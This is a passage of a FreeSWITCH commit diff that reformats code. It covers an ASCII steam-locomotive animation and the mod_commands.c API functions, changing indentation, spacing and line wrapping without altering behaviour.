- COAL06, COAL07, COAL08, COAL09, COAL10, COALDEL};
+ static char *d51[D51PATTERNS][D51HIGHT + 1]
+ = { {D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
+ D51WHL11, D51WHL12, D51WHL13, D51DEL},
+ {D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
+ D51WHL21, D51WHL22, D51WHL23, D51DEL},
+ {D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
+ D51WHL31, D51WHL32, D51WHL33, D51DEL},
+ {D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
+ D51WHL41, D51WHL42, D51WHL43, D51DEL},
+ {D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
+ D51WHL51, D51WHL52, D51WHL53, D51DEL},
+ {D51STR1, D51STR2, D51STR3, D51STR4, D51STR5, D51STR6, D51STR7,
+ D51WHL61, D51WHL62, D51WHL63, D51DEL}
+ };
+ static char *coal[D51HIGHT + 1]
+ = { COAL01, COAL02, COAL03, COAL04, COAL05,
+ COAL06, COAL07, COAL08, COAL09, COAL10, COALDEL
+ };
- static char *acoal[D51HIGHT + 1]
- = {COAL01, COAL02, COAL03, COAL04, COAL5A,
- COAL06, COAL07, COAL08, COAL09, COAL10, COALDEL};
+ static char *acoal[D51HIGHT + 1]
+ = { COAL01, COAL02, COAL03, COAL04, COAL5A,
+ COAL06, COAL07, COAL08, COAL09, COAL10, COALDEL
+ };
- int y, i, dy = 0;
+ int y, i, dy = 0;
- if (x < - D51LENGTH) return ERR;
- y = LINES / 2 - 5;
+ if (x < -D51LENGTH)
+ return ERR;
+ y = LINES / 2 - 5;
- if (FLY == 1) {
+ if (FLY == 1) {
y = (x / 7) + LINES - (COLS / 7) - D51HIGHT;
dy = 1;
- }
+ }
- for (i = 0; i <= D51HIGHT; ++i) {
+ for (i = 0; i <= D51HIGHT; ++i) {
my_mvaddstr(y + i, x, d51[(D51LENGTH + x) % D51PATTERNS][i]);
my_mvaddstr(y + i + dy, x + 53, loops > 60 ? coal[i] : acoal[i]);
loops++;
- if (loops == 500) loops = -100;
- }
- if (ACCIDENT == 1) {
+ if (loops == 500)
+ loops = -100;
+ }
+ if (ACCIDENT == 1) {
add_man(y + 2, x + 43);
add_man(y + 2, x + 47);
- }
- add_smoke(y - 1, x + D51FUNNEL);
- return OK;
+ }
+ add_smoke(y - 1, x + D51FUNNEL);
+ return OK;
}
int add_man(int y, int x)
{
- static char *man[2][2] = {{"", "(O)"}, {"Help!", "\\O/"}};
- int i;
+ static char *man[2][2] = { {"", "(O)"}, {"Help!", "\\O/"} };
+ int i;
- for (i = 0; i < 2; ++i) {
+ for (i = 0; i < 2; ++i) {
my_mvaddstr(y + i, x, man[(LOGOLENGTH + x) / 12 % 2][i]);
- }
+ }
return 0;
}
@@ -440,45 +463,51 @@
int add_smoke(int y, int x)
#define SMOKEPTNS 16
{
- static struct smokes {
+ static struct smokes {
int y, x;
int ptrn, kind;
- } S[1000];
- static int sum = 0;
- static char *Smoke[2][SMOKEPTNS]
- = {{"( )", "( )", "( )", "( )", "( )",
- "( )" , "( )" , "( )" , "()" , "()" ,
- "O" , "O" , "O" , "O" , "O" ,
- " " },
- {"(@@@)", "(@@@@)", "(@@@@)", "(@@@)", "(@@)",
- "(@@)" , "(@)" , "(@)" , "@@" , "@@" ,
- "@" , "@" , "@" , "@" , "@" ,
- " " }};
- static char *Eraser[SMOKEPTNS]
- = {" ", " ", " ", " ", " ",
- " " , " " , " " , " " , " " ,
- " " , " " , " " , " " , " " ,
- " " };
- static int dy[SMOKEPTNS] = { 2, 1, 1, 1, 0, 0, 0, 0, 0, 0,
- 0, 0, 0, 0, 0, 0 };
- static int dx[SMOKEPTNS] = {-2, -1, 0, 1, 1, 1, 1, 1, 2, 2,
- 2, 2, 2, 3, 3, 3 };
- int i;
+ } S[1000];
+ static int sum = 0;
+ static char *Smoke[2][SMOKEPTNS]
+ = { {"( )", "( )", "( )", "( )", "( )",
+ "( )", "( )", "( )", "()", "()",
+ "O", "O", "O", "O", "O",
+ " "},
+ {"(@@@)", "(@@@@)", "(@@@@)", "(@@@)", "(@@)",
+ "(@@)", "(@)", "(@)", "@@", "@@",
+ "@", "@", "@", "@", "@",
+ " "}
+ };
+ static char *Eraser[SMOKEPTNS]
+ = { " ", " ", " ", " ", " ",
+ " ", " ", " ", " ", " ",
+ " ", " ", " ", " ", " ",
+ " "
+ };
+ static int dy[SMOKEPTNS] = { 2, 1, 1, 1, 0, 0, 0, 0, 0, 0,
+ 0, 0, 0, 0, 0, 0
+ };
+ static int dx[SMOKEPTNS] = { -2, -1, 0, 1, 1, 1, 1, 1, 2, 2,
+ 2, 2, 2, 3, 3, 3
+ };
+ int i;
- if (x % 4 == 0) {
+ if (x % 4 == 0) {
for (i = 0; i < sum; ++i) {
my_mvaddstr(S[i].y, S[i].x, Eraser[S[i].ptrn]);
- S[i].y -= dy[S[i].ptrn];
- S[i].x += dx[S[i].ptrn];
+ S[i].y -= dy[S[i].ptrn];
+ S[i].x += dx[S[i].ptrn];
S[i].ptrn += (S[i].ptrn < SMOKEPTNS - 1) ? 1 : 0;
my_mvaddstr(S[i].y, S[i].x, Smoke[S[i].kind][S[i].ptrn]);
}
my_mvaddstr(y, x, Smoke[sum % 2][0]);
- S[sum].y = y; S[sum].x = x;
- S[sum].ptrn = 0; S[sum].kind = sum % 2;
- sum ++;
- }
-
+ S[sum].y = y;
+ S[sum].x = x;
+ S[sum].ptrn = 0;
+ S[sum].kind = sum % 2;
+ sum++;
+ }
+
return 0;
}
Modified: freeswitch/trunk/src/mod/applications/mod_commands/mod_commands.c (16578 => 16579)
--- freeswitch/trunk/src/mod/applications/mod_commands/mod_commands.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_commands/mod_commands.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -53,7 +53,7 @@
SWITCH_STANDARD_API(hostname_api_function)
{
- char hostname[256]="";
+ char hostname[256] = "";
gethostname(hostname, sizeof(hostname));
stream->write_function(stream, "%s", hostname);
return SWITCH_STATUS_SUCCESS;
@@ -77,14 +77,15 @@
return SWITCH_STATUS_SUCCESS;
}
-SWITCH_STANDARD_API(db_cache_function) {
+SWITCH_STANDARD_API(db_cache_function)
+{
int argc;
char *mydata = NULL, *argv[2];
if (zstr(cmd)) {
goto error;
}
-
+
mydata = strdup(cmd);
switch_assert(mydata);
@@ -99,12 +100,12 @@
} else {
goto error;
}
-
-error:
- stream->write_function(stream, "%s", "parameter missing\n");
-ok:
- switch_safe_free(mydata);
- return SWITCH_STATUS_SUCCESS;
+
+ error:
+ stream->write_function(stream, "%s", "parameter missing\n");
+ ok:
+ switch_safe_free(mydata);
+ return SWITCH_STATUS_SUCCESS;
}
SWITCH_STANDARD_API(host_lookup_function)
@@ -136,7 +137,7 @@
if (!cmd) {
goto error;
}
-
+
if (!switch_nat_is_initialized()) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "nat_map API called while NAT not initialized\n");
goto error;
@@ -166,7 +167,7 @@
switch_safe_free(tmp);
goto ok;
}
-
+
if (argc < 3) {
goto error;
}
@@ -176,18 +177,18 @@
} else if (argv[2] && switch_stristr("udp", argv[2])) {
proto = SWITCH_NAT_UDP;
}
-
+
if (argv[3] && switch_stristr("sticky", argv[3])) {
sticky = SWITCH_TRUE;
}
if (argv[0] && switch_stristr("add", argv[0])) {
- if (switch_nat_add_mapping((switch_port_t)atoi(argv[1]), proto, &external_port, sticky) == SWITCH_STATUS_SUCCESS) {
- stream->write_function(stream, "true"); /* still return true */
+ if (switch_nat_add_mapping((switch_port_t) atoi(argv[1]), proto, &external_port, sticky) == SWITCH_STATUS_SUCCESS) {
+ stream->write_function(stream, "true"); /* still return true */
goto ok;
}
} else if (argv[0] && switch_stristr("del", argv[0])) {
- if (switch_nat_del_mapping((switch_port_t)atoi(argv[1]), proto) == SWITCH_STATUS_SUCCESS) {
+ if (switch_nat_del_mapping((switch_port_t) atoi(argv[1]), proto) == SWITCH_STATUS_SUCCESS) {
stream->write_function(stream, "true");
goto ok;
}
@@ -213,7 +214,7 @@
int diff;
int max = 10, a = 0;
char *p;
- if (zstr(cmd)){
+ if (zstr(cmd)) {
stream->write_function(stream, "parameter missing\n");
return SWITCH_STATUS_SUCCESS;
}
@@ -225,7 +226,7 @@
}
if ((p = strchr(cmd, ' '))) {
- if ((a = atoi(p+1)) > 0) {
+ if ((a = atoi(p + 1)) > 0) {
max = a;
if (max > 100) {
max = 100;
@@ -262,7 +263,7 @@
const char *timer_name = "soft";
switch_memory_pool_t *pool;
char *mycmd = NULL;
-
+
switch_core_new_memory_pool(&pool);
if (zstr(cmd)) {
@@ -272,7 +273,7 @@
}
argc = switch_split(mycmd, ' ', argv);
-
+
if (argc > 0) {
mss = atoi(argv[0]);
}
@@ -292,14 +293,12 @@
stream->write_function(stream, "parameter missing: %s\n", TIMER_TEST_SYNTAX);
goto end;
}
-
- if (switch_core_timer_init(&timer,
- timer_name, mss,
- 1, pool) != SWITCH_STATUS_SUCCESS) {
+
+ if (switch_core_timer_init(&timer, timer_name, mss, 1, pool) != SWITCH_STATUS_SUCCESS) {
stream->write_function(stream, "Timer Error!\n");
goto end;
}
-
+
start = switch_time_now();
for (x = 1; x <= max; x++) {
then = switch_time_now();
@@ -311,16 +310,17 @@
total += diff;
}
end = switch_time_now();
-
+
switch_yield(250000);
- stream->write_function(stream, "Avg: %0.3fms Total Time: %0.3fms\n", (float)((float)(total / (x > 1 ? x - 1 : 1)) / 1000), (float)((float)(end - start)/1000));
+ stream->write_function(stream, "Avg: %0.3fms Total Time: %0.3fms\n", (float) ((float) (total / (x > 1 ? x - 1 : 1)) / 1000),
+ (float) ((float) (end - start) / 1000));
- end:
-
+ end:
+
switch_core_destroy_memory_pool(&pool);
-
+
return SWITCH_STATUS_SUCCESS;
}
@@ -348,7 +348,7 @@
if ((flags = strchr(group_name, '+'))) {
*flags++ = '\0';
for (fp = flags; fp && *fp; fp++) {
- switch(*fp) {
+ switch (*fp) {
case 'F':
call_delim = "|";
break;
@@ -363,15 +363,15 @@
}
}
}
-
+
domain = strchr(group_name, '@');
-
+
if (domain) {
*domain++ = '\0';
} else {
domain = switch_core_get_variable("domain");
}
-
+
if (!zstr(domain)) {
switch_xml_t xml, x_domain, x_group;
switch_event_t *params;
@@ -383,14 +383,14 @@
switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "group", group_name);
switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "domain", domain);
switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "action", "group_call");
-
+
if (switch_xml_locate_group(group_name, domain, &xml, &x_domain, &x_group, params) == SWITCH_STATUS_SUCCESS) {
switch_xml_t x_user, x_users, x_param, x_params, my_x_user;
-
+
if ((x_users = switch_xml_child(x_group, "users"))) {
ok++;
-
- for(x_user = switch_xml_child(x_users, "user"); x_user; x_user = x_user->next) {
+
+ for (x_user = switch_xml_child(x_users, "user"); x_user; x_user = x_user->next) {
const char *id = switch_xml_attr_soft(x_user, "id");
const char *x_user_type = switch_xml_attr_soft(x_user, "type");
const char *dest = NULL;
@@ -399,17 +399,16 @@
my_x_user = x_user;
- if (!strcmp(x_user_type,"pointer")) {
+ if (!strcmp(x_user_type, "pointer")) {
if (switch_xml_locate_user("id", id, domain, NULL,
&xml_for_pointer, &x_domain_for_pointer,
- &x_user_for_pointer, &x_group_for_pointer,
- params) != SWITCH_STATUS_SUCCESS) {
+ &x_user_for_pointer, &x_group_for_pointer, params) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Can't find user [%s@%s]\n", id, domain);
goto done_x_user;
}
my_x_user = x_user_for_pointer;
}
-
+
if ((x_params = switch_xml_child(x_domain, "params"))) {
for (x_param = switch_xml_child(x_params, "param"); x_param; x_param = x_param->next) {
const char *var = switch_xml_attr(x_param, "name");
@@ -446,7 +445,7 @@
for (x_param = switch_xml_child(x_params, "param"); x_param; x_param = x_param->next) {
const char *var = switch_xml_attr(x_param, "name");
const char *val = switch_xml_attr(x_param, "value");
-
+
if (!strcasecmp(var, "group-dial-string")) {
dest = val;
break;
@@ -457,7 +456,7 @@
}
}
}
-
+
if (dest) {
if (channel) {
switch_channel_set_variable(channel, "dialed_group", group_name);
@@ -476,7 +475,7 @@
} else {
d_dest = switch_mprintf("user/%s@%s", id, domain);
}
-
+
if (d_dest) {
dstream.write_function(&dstream, "%s%s", d_dest, call_delim);
@@ -485,9 +484,9 @@
}
}
- done_x_user:
+ done_x_user:
if (xml_for_pointer) {
- switch_xml_free(xml_for_pointer);
+ switch_xml_free(xml_for_pointer);
xml_for_pointer = NULL;
}
}
@@ -514,17 +513,17 @@
} else {
ok = 0;
}
-
+
}
}
switch_xml_free(xml);
switch_event_destroy(¶ms);
}
- end:
+ end:
switch_safe_free(group_name);
-
+
if (!ok) {
stream->write_function(stream, "error/NO_ROUTE_DESTINATION");
}
@@ -542,7 +541,7 @@
switch_event_t *params = NULL;
const char *rval = "false";
char *group;
-
+
if (zstr(cmd) || !(mydata = strdup(cmd))) {
goto end;
}
@@ -574,9 +573,9 @@
}
end:
-
+
stream->write_function(stream, "%s", rval);
-
+
switch_xml_free(xml);
switch_safe_free(mydata);
switch_event_destroy(¶ms);
@@ -612,7 +611,7 @@
domain = "cluecon.com";
}
}
-
+
switch_event_create(¶ms, SWITCH_EVENT_REQUEST_PARAMS);
switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "user", user);
switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "domain", domain);
@@ -642,7 +641,7 @@
}
}
-
+
if ((x_params = switch_xml_child(x_domain, container))) {
for (x_param = switch_xml_child(x_params, elem); x_param; x_param = x_param->next) {
const char *var = switch_xml_attr(x_param, "name");
@@ -733,9 +732,9 @@
free(xmlstr);
}
}
-
+
switch_xml_free(xml);
-
+
switch_safe_free(mydata);
return SWITCH_STATUS_SUCCESS;
}
@@ -753,7 +752,7 @@
stream->write_function(stream, "%s", digest);
}
- return SWITCH_STATUS_SUCCESS;
+ return SWITCH_STATUS_SUCCESS;
}
SWITCH_STANDARD_API(url_decode_function)
@@ -766,11 +765,11 @@
switch_url_decode(data);
reply = data;
}
-
+
stream->write_function(stream, "%s", reply);
switch_safe_free(data);
- return SWITCH_STATUS_SUCCESS;
+ return SWITCH_STATUS_SUCCESS;
}
SWITCH_STANDARD_API(echo_function)
@@ -782,7 +781,7 @@
SWITCH_STANDARD_API(stun_function)
{
char *stun_ip = NULL;
- switch_port_t stun_port = (switch_port_t)SWITCH_STUN_DEFAULT_PORT;
+ switch_port_t stun_port = (switch_port_t) SWITCH_STUN_DEFAULT_PORT;
char *p;
char ip_buf[256] = "";
char *ip = NULL;
@@ -849,7 +848,7 @@
const char *p;
switch_core_session_t *xsession;
char uuid[80] = "";
-
+
if (zstr(cmd)) {
stream->write_function(stream, "-ERR, no input\n");
return SWITCH_STATUS_SUCCESS;
@@ -864,7 +863,7 @@
switch_copy_string(uuid, p, mycmd - p);
}
}
-
+
if (zstr(mycmd)) {
stream->write_function(stream, "-ERR, no input\n");
return SWITCH_STATUS_SUCCESS;
@@ -905,7 +904,7 @@
if (zstr(cmd)) {
cmd = " ";
}
-
+
if ((p = strstr(cmd, "c="))) {
p += 2;
c = atoi(p);
@@ -929,7 +928,7 @@
if (zstr(cmd)) {
cmd = " ";
}
-
+
if ((p = strstr(cmd, "c="))) {
p += 2;
c = atoi(p);
@@ -940,13 +939,13 @@
}
switch_console_complete(cmd, cursor, NULL, NULL, xml);
-
+
sxml = switch_xml_toxml(xml, SWITCH_TRUE);
stream->write_function(stream, "%s", sxml);
free(sxml);
-
+
switch_xml_free(xml);
-
+
return SWITCH_STATUS_SUCCESS;
}
@@ -961,20 +960,20 @@
stream->write_function(stream, "%s", "");
return SWITCH_STATUS_SUCCESS;
}
-
+
if (!strncasecmp(cmd, "uuid:", 5)) {
p = cmd + 5;
if ((input = strchr(p, ' ')) && *input++) {
switch_copy_string(uuid, p, input - p);
}
}
-
+
if (zstr(input)) {
stream->write_function(stream, "%s", "");
return SWITCH_STATUS_SUCCESS;
}
-
+
switch_event_create(&event, SWITCH_EVENT_CHANNEL_DATA);
if (*uuid) {
if ((session = switch_core_session_locate(uuid))) {
@@ -984,14 +983,14 @@
}
expanded = switch_event_expand_headers(event, input);
-
+
stream->write_function(stream, "%s", expanded);
if (expanded != input) {
free(expanded);
}
- return SWITCH_STATUS_SUCCESS;
+ return SWITCH_STATUS_SUCCESS;
}
SWITCH_STANDARD_API(module_exists_function)
@@ -1001,25 +1000,25 @@
stream->write_function(stream, "true");
} else {
stream->write_function(stream, "false");
- }
+ }
}
- return SWITCH_STATUS_SUCCESS;
+ return SWITCH_STATUS_SUCCESS;
}
SWITCH_STANDARD_API(domain_exists_function)
{
switch_xml_t root = NULL, domain = NULL;
-
- if (!zstr(cmd)) {
+
+ if (!zstr(cmd)) {
if (switch_xml_locate_domain(cmd, NULL, &root, &domain) == SWITCH_STATUS_SUCCESS) {
stream->write_function(stream, "true");
- switch_xml_free(root);
+ switch_xml_free(root);
} else {
stream->write_function(stream, "false");
}
}
-
+
return SWITCH_STATUS_SUCCESS;
}
@@ -1027,7 +1026,7 @@
{
char *reply = "";
char *data = NULL;
- int len = 0 ;
+ int len = 0;
if (!zstr(cmd)) {
len = (strlen(cmd) * 3) + 1;
@@ -1039,7 +1038,7 @@
stream->write_function(stream, "%s", reply);
switch_safe_free(data);
- return SWITCH_STATUS_SUCCESS;
+ return SWITCH_STATUS_SUCCESS;
}
@@ -1213,7 +1212,7 @@
mydata = strdup(cmd);
switch_assert(mydata);
-
+
d = mydata;
if (*d == 'm' && *(d + 1) == ':' && *(d + 2)) {
@@ -1230,8 +1229,8 @@
break;
}
}
-
+
argc = switch_separate_string(d, delim, argv, (sizeof(argv) / sizeof(argv[0])));
if (argc < 2) {
@@ -1645,10 +1644,10 @@
if (*p == '-') {
p++;
- while(p && *p) {
+ while (p && *p) {
switch (*p) {
case ' ':
- cmd = p+1;
+ cmd = p + 1;
goto end;
case 'f':
force = SWITCH_TRUE;
@@ -1659,7 +1658,7 @@
p++;
}
}
- end:
+ end:
if (zstr(cmd)) {
stream->write_function(stream, "-USAGE: %s\n", UNLOAD_SYNTAX);
@@ -1688,10 +1687,10 @@
if (*p == '-') {
p++;
- while(p && *p) {
+ while (p && *p) {
switch (*p) {
case ' ':
- cmd = p+1;
+ cmd = p + 1;
goto end;
case 'f':
force = SWITCH_TRUE;
@@ -1702,7 +1701,7 @@
p++;
}
}
- end:
+ end:
if (zstr(cmd)) {
stream->write_function(stream, "-USAGE: %s\n", UNLOAD_SYNTAX);
@@ -1759,9 +1758,9 @@
stream->write_function(stream, "-ERR No Such Channel!\n");
} else {
switch_channel_t *channel = switch_core_session_get_channel(ksession);
- if (!zstr(kcause)){
+ if (!zstr(kcause)) {
cause = switch_channel_str2cause(kcause);
- }
+ }
switch_channel_hangup(channel, cause);
switch_core_session_rwunlock(ksession);
stream->write_function(stream, "+OK\n");
@@ -1792,16 +1791,16 @@
stream->write_function(stream, "-ERR No Such Channel!\n");
goto done;
} else {
- switch_ivr_preprocess_session(ksession, (char *)argv[1]);
+ switch_ivr_preprocess_session(ksession, (char *) argv[1]);
switch_core_session_rwunlock(ksession);
stream->write_function(stream, "+OK\n");
goto done;
}
- usage:
+ usage:
stream->write_function(stream, "-USAGE: %s\n", PREPROCESS_SYNTAX);
- done:
+ done:
switch_safe_free(mycmd);
return SWITCH_STATUS_SUCCESS;
}
@@ -2349,7 +2348,7 @@
} else {
switch_core_session_message_t msg = { 0 };
switch_core_session_t *lsession = NULL;
-
+
msg.message_id = SWITCH_MESSAGE_INDICATE_DEBUG_AUDIO;
msg.string_array_arg[0] = argv[1];
msg.string_array_arg[1] = argv[2];
@@ -2366,9 +2365,9 @@
} else {
stream->write_function(stream, "-ERR Operation Failed\n");
}
-
- done:
+ done:
+
switch_safe_free(mycmd);
return SWITCH_STATUS_SUCCESS;
}
@@ -2446,8 +2445,8 @@
}
if (!strcasecmp(action, "start")) {
- if (switch_ivr_record_session(rsession, path, limit, NULL)!= SWITCH_STATUS_SUCCESS) {
- stream->write_function(stream, "-ERR Cannot record session!\n");
+ if (switch_ivr_record_session(rsession, path, limit, NULL) != SWITCH_STATUS_SUCCESS) {
+ stream->write_function(stream, "-ERR Cannot record session!\n");
} else {
stream->write_function(stream, "+OK Success\n");
}
@@ -2518,7 +2517,7 @@
if (switch_ivr_stop_displace_session(rsession, path) != SWITCH_STATUS_SUCCESS) {
stream->write_function(stream, "-ERR Cannot stop displace session!\n");
} else {
- stream->write_function(stream, "+OK Success\n");
+ stream->write_function(stream, "+OK Success\n");
}
} else {
goto usage;
@@ -2550,32 +2549,35 @@
int level;
if (zstr(cmd)) {
- fail++; goto done;
+ fail++;
+ goto done;
}
mycmd = strdup(cmd);
argc = switch_split(mycmd, ' ', argv);
-
+
if (argc < 2) {
- fail++; goto done;
+ fail++;
+ goto done;
}
-
+
if (!(u_session = switch_core_session_locate(argv[0]))) {
stream->write_function(stream, "-ERR No Such Channel!\n");
goto done;
}
-
+
if (!strcasecmp(argv[1], "stop")) {
switch_ivr_stop_session_audio(u_session);
goto done;
- }
+ }
if (strcasecmp(argv[1], "start") || argc < 5 || (strcasecmp(argv[2], "read") && strcasecmp(argv[2], "write"))) {
- fail++; goto done;
+ fail++;
+ goto done;
}
level = atoi(argv[4]);
-
+
if (!strcasecmp(argv[3], "mute")) {
switch_ivr_session_audio(u_session, "mute", argv[2], level);
} else if (!strcasecmp(argv[3], "level")) {
@@ -2584,7 +2586,7 @@
fail++;
}
- done:
+ done:
if (u_session) {
switch_core_session_rwunlock(u_session);
@@ -2637,7 +2639,7 @@
switch_channel_set_flag(channel, CF_BREAK);
}
- done:
+ done:
if (psession) {
switch_core_session_rwunlock(psession);
}
@@ -2895,7 +2897,7 @@
SWITCH_STANDARD_API(unsched_api_function)
{
uint32_t id;
-
+
if (!cmd) {
stream->write_function(stream, "-ERR Invalid syntax. USAGE: %s\n", UNSCHED_SYNTAX);
return SWITCH_STATUS_SUCCESS;
@@ -2955,7 +2957,7 @@
}
}
- bad:
+ bad:
stream->write_function(stream, "-ERR Invalid syntax. USAGE: %s\n", SCHED_SYNTAX);
@@ -3085,12 +3087,12 @@
return -1;
}
}
-
+
if (holder->justcount) {
- holder->count++;
- return 0;
+ holder->count++;
+ return 0;
}
-
+
if (!(row = switch_xml_add_child_d(holder->xml, "row", holder->rows++))) {
return -1;
}
@@ -3123,12 +3125,12 @@
{
struct holder *holder = (struct holder *) pArg;
int x;
-
+
if (holder->justcount) {
- holder->count++;
- return 0;
+ holder->count++;
+ return 0;
}
-
+
if (holder->print_title && holder->count == 0) {
if (holder->http) {
holder->stream->write_function(holder->stream, "\n<tr>");
@@ -3215,22 +3217,22 @@
switch_status_t status = SWITCH_STATUS_SUCCESS;
switch_core_db_handle(&db);
-
+
holder.justcount = 0;
-
+
if (cmd && (mydata = strdup(cmd))) {
argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
command = argv[0];
if (argv[2] && !strcasecmp(argv[1], "as")) {
as = argv[2];
}
-
+
}
if (stream->param_event) {
const char *var;
holder.http = switch_event_get_header(stream->param_event, "http-host");
-
+
if ((var = switch_event_get_header(stream->param_event, "content-type"))) {
if (!strcasecmp(var, "text/plain")) {
holder.http = NULL;
@@ -3253,14 +3255,12 @@
if (!command) {
stream->write_function(stream, "-USAGE: %s\n", SHOW_SYNTAX);
goto end;
- } else if (!strncasecmp(command, "codec", 5) ||
- !strncasecmp(command, "dialplan", 8) ||
- !strncasecmp(command, "file", 4) ||
- !strncasecmp(command, "timer", 5) ||
- !strncasecmp(command, "chat", 4) ||
- !strncasecmp(command, "say", 3) ||
- !strncasecmp(command, "management", 10) ||
- !strncasecmp(command, "endpoint", 8)) {
+ } else if (!strncasecmp(command, "codec", 5) ||
+ !strncasecmp(command, "dialplan", 8) ||
+ !strncasecmp(command, "file", 4) ||
+ !strncasecmp(command, "timer", 5) ||
+ !strncasecmp(command, "chat", 4) ||
+ !strncasecmp(command, "say", 3) || !strncasecmp(command, "management", 10) || !strncasecmp(command, "endpoint", 8)) {
if (end_of(command) == 's') {
end_of(command) = '\0';
}
@@ -3279,17 +3279,19 @@
sprintf(sql, "select * from %s", command);
} else if (!strcasecmp(command, "application") || !strcasecmp(command, "api")) {
if (argv[1] && strcasecmp(argv[1], "as")) {
- sprintf(sql, "select name, description, syntax, ikey from interfaces where type = '%s' and description != '' and name = '%s' order by type,name", command, argv[1]);
+ sprintf(sql,
+ "select name, description, syntax, ikey from interfaces where type = '%s' and description != '' and name = '%s' order by type,name",
+ command, argv[1]);
} else {
sprintf(sql, "select name, description, syntax, ikey from interfaces where type = '%s' and description != '' order by type,name", command);
}
} else if (!strcasecmp(command, "calls")) {
sprintf(sql, "select * from calls order by call_created_epoch");
- if (argv[1] && !strcasecmp(argv[1],"count")) {
- holder.justcount = 1;
- if (argv[3] && !strcasecmp(argv[2], "as")) {
- as = argv[3];
- }
+ if (argv[1] && !strcasecmp(argv[1], "count")) {
+ holder.justcount = 1;
+ if (argv[3] && !strcasecmp(argv[2], "as")) {
+ as = argv[3];
+ }
}
} else if (!strcasecmp(command, "channels") && argv[1] && !strcasecmp(argv[1], "like")) {
if (argv[2]) {
@@ -3300,27 +3302,29 @@
}
}
if (strchr(argv[2], '%')) {
- sprintf(sql, "select * from channels where uuid like '%s' or name like '%s' or cid_name like '%s' or cid_num like '%s' order by created_epoch",
+ sprintf(sql,
+ "select * from channels where uuid like '%s' or name like '%s' or cid_name like '%s' or cid_num like '%s' order by created_epoch",
argv[2], argv[2], argv[2], argv[2]);
} else {
- sprintf(sql, "select * from channels where uuid like '%%%s%%' or name like '%%%s%%' or cid_name like '%%%s%%' or cid_num like '%%%s%%' order by created_epoch",
+ sprintf(sql,
+ "select * from channels where uuid like '%%%s%%' or name like '%%%s%%' or cid_name like '%%%s%%' or cid_num like '%%%s%%' order by created_epoch",
argv[2], argv[2], argv[2], argv[2]);
}
-
- if (argv[4] && !strcasecmp(argv[3], "as")) {
+
+ if (argv[4] && !strcasecmp(argv[3], "as")) {
as = argv[4];
- }
+ }
} else {
sprintf(sql, "select * from channels order by created_epoch");
}
} else if (!strcasecmp(command, "channels")) {
sprintf(sql, "select * from channels order by created_epoch");
- if (argv[1] && !strcasecmp(argv[1],"count")) {
- holder.justcount = 1;
- if (argv[3] && !strcasecmp(argv[2], "as")) {
+ if (argv[1] && !strcasecmp(argv[1], "count")) {
+ holder.justcount = 1;
+ if (argv[3] && !strcasecmp(argv[2], "as")) {
as = argv[3];
- }
+ }
}
} else if (!strcasecmp(command, "distinct_channels")) {
sprintf(sql, "select * from channels left join calls on "
@@ -3339,23 +3343,18 @@
holder.print_title = 0;
if ((cmdname = strchr(command, ' ')) && strcasecmp(cmdname, "as")) {
*cmdname++ = '\0';
- switch_snprintf(sql, sizeof(sql) - 1, "select name, syntax, description, ikey from interfaces where type = 'api' and name = '%s' order by name",
- cmdname);
+ switch_snprintf(sql, sizeof(sql) - 1,
+ "select name, syntax, description, ikey from interfaces where type = 'api' and name = '%s' order by name", cmdname);
} else {
switch_snprintf(sql, sizeof(sql) - 1, "select name, syntax, description, ikey from interfaces where type = 'api' order by name");
}
} else if (!strcasecmp(command, "nat_map")) {
- switch_snprintf(sql, sizeof(sql) - 1,
- "SELECT port, "
- " CASE proto "
- " WHEN 0 THEN 'udp' "
- " WHEN 1 THEN 'tcp' "
- " ELSE 'unknown' "
- " END AS proto, "
- " proto AS proto_num, "
- " sticky "
- " FROM nat ORDER BY port, proto"
- );
+ switch_snprintf(sql, sizeof(sql) - 1,
+ "SELECT port, "
+ " CASE proto "
+ " WHEN 0 THEN 'udp' "
+ " WHEN 1 THEN 'tcp' "
+ " ELSE 'unknown' " " END AS proto, " " proto AS proto_num, " " sticky " " FROM nat ORDER BY port, proto");
} else {
stream->write_function(stream, "-USAGE: %s\n", SHOW_SYNTAX);
goto end;
@@ -3374,7 +3373,7 @@
}
/* switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "SQL: %s.\n", sql); */
-
+
if (!strcasecmp(as, "delim") || !strcasecmp(as, "csv")) {
if (zstr(holder.delim)) {
if (!(holder.delim = argv[3])) {
@@ -3427,7 +3426,7 @@
holder.stream->write_function(holder.stream, "-ERR Cannot find format %s\n", as);
}
- end:
+ end:
switch_safe_free(mydata);
@@ -3476,12 +3475,12 @@
if (argc < 2 || !argv[0]) {
goto error;
}
-
+
if (!(l_session = switch_core_session_locate(argv[0]))) {
stream->write_function(stream, "-ERR Usage: cannot locate session.\n");
return SWITCH_STATUS_SUCCESS;
}
-
+
if (!strcasecmp(argv[1], "sched")) {
x = 2;
sched++;
@@ -3497,7 +3496,7 @@
} else if (!switch_true(argv[x])) {
seconds = 0;
}
-
+
if (seconds) {
if (sched) {
switch_core_session_sched_heartbeat(l_session, seconds);
@@ -3508,14 +3507,14 @@
} else {
switch_core_session_disable_heartbeat(l_session);
}
-
+
switch_core_session_rwunlock(l_session);
-
